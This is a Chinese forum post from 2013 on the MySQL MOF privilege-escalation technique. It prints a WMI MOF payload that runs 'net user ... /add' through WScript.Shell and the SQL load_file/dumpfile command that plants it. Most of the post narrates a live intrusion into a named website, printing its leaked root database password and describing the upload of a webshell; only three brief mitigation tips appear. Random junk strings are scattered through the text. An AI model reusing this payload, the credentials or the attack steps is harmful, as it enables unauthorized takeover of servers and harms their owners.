找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2238|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Mysql mof扩展漏洞防范方法, k) o( C; ^+ X$ V4 M' i
5 S" p/ {" R: |% w/ B
网上公开的一些利用代码:. q) t: ?  f1 R- h
* Z4 H; ]+ N* m% G" M
#pragma namespace(“\\\\.\\root\\subscription”)
9 R% c, B2 W* u
+ U! k7 f: ?* _  M0 ~7 a& @instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };9 m# f$ s: K) {# E3 u& k3 r

5 Y" b+ T) d! u$ m
# Z4 q2 h% G9 [, B9 ?- R" O) e
& n! e5 k0 b4 x4 O  W4 ? ! E4 [2 m$ |; a9 b' j

- E" C, F+ [  d) E连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;( F: q5 q7 c; G# d$ T
从上面代码来看得出解决办法:
* O7 ~+ S$ N' v. s
" }$ X% F0 t2 N1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数- G; W( `8 v# N9 U- l; ?: v2 n
) ?) \9 D& v2 `% B' P
2、禁止使用”WScript.Shel”组件
6 |9 c* H" E+ w2 D0 b0 Q
; k; e* P: K2 `. ?3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
; p& q# |, a7 d8 K/ D: w. @! }
, V' x3 F7 T* P/ z1 e当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
) D* l% ^9 z' ]" a0 ~
2 Y  s; ^" x. l- `事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
% ]& [( t$ Q/ @6 W  w, l5 e. {! u: G4 Z8 I+ _1 k0 ?
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容0 W) b' c- N9 p6 f& ]; e

$ }  J+ k2 F; _3 q5 o0 ]/ b看懂了后就开始练手吧
/ O0 m" q4 G) `1 t9 r
4 P: Z6 G  c. q3 ohttp://www.webbmw.com/config/config_ucenter.php 一句话 a
1 d# c  \6 ~6 k; s2 L* w. b: @
4 |9 L! Y$ S) N* A: h$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
, K! E" P% F9 ?, I+ Q9 W( w
0 J- z; j' H! I# F% @( K- f于是直接用菜刀开搞
5 \0 g6 E' V$ ?8 y; Y( B; j9 \2 K, L2 {$ O
上马先; T- o2 l1 W2 E+ e% |+ g9 V

" G2 N1 q; V$ y- Z8 D既然有了那些账号 之类的 于是我们就执行吧…….
# N3 |) P1 Y- w/ f7 S7 G
1 b" q8 ?( ~9 |8 u8 t% v( w, {小小的说下
" U2 y& K* A/ s7 z5 x& O/ _7 w+ B: D( @# r0 Z/ Q
在这里第1次执行未成功        原因未知! K/ k" p( q/ j  _$ \, B8 S

) I. f! n8 m; z! ]我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。  p- G# d& Q7 Z4 m$ m

- O/ }# E7 P5 c8 q#pragma namespace(“\\\\.\\root\\subscription”)
5 P( g9 w5 s4 W+ h* @8 i4 X( D( A4 Z, v
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
% s5 ~( G! s8 x; S( ]$ l* F, y$ f" d2 K7 {8 K/ r: }5 b* K
我是将文件放到C:\WINDOWS\temp\1.mof: ]3 W9 K" D1 K, x8 _& j

2 a( {6 K3 d" s" m  `2 K所以我们就改下执行的代码
1 Z) }" B. |8 A5 C% r8 I+ ?) f- Q0 I" E+ \2 t% \
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;  e. Y8 c' {# H3 r3 ]0 M
: V8 @+ @, r8 k0 X
! M5 E$ J! b, @6 _" K

; V9 b) ^* X! E6 F; R但是 你会发现账号还是没有躺在那里。。
( T  x% R5 P& ?- w& d
# e" Q: R% ]1 J/ K7 ~  ^于是我就感觉蛋疼
* D/ o5 e# f# g1 _9 j( ^5 ?* P( }. b' B- v; b# F2 D. _- B
就去一个一个去执行 但是执行到第2个 mysql时就成功了………8 l- C2 O9 \. s/ N1 [" p
" H4 D% M3 S! b6 V) c5 X

: F/ c! s1 f* J/ V* [3 w3 ]# L( z- L' Y3 T. B
但是其他库均不成功…
! N4 d" ?; P# p' E- ~$ M' ^0 V. M8 P: @8 ^2 X' C% u: M2 @
我就很费解呀 到底为什么不成功求大牛解答…; k$ I9 I! I1 e
  q4 D: H) c# P+ e" |+ e8 V

/ f. a8 p) ]7 K' Z0 M+ ]
1 n4 m. a' |2 Y/ e3 v& |1 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表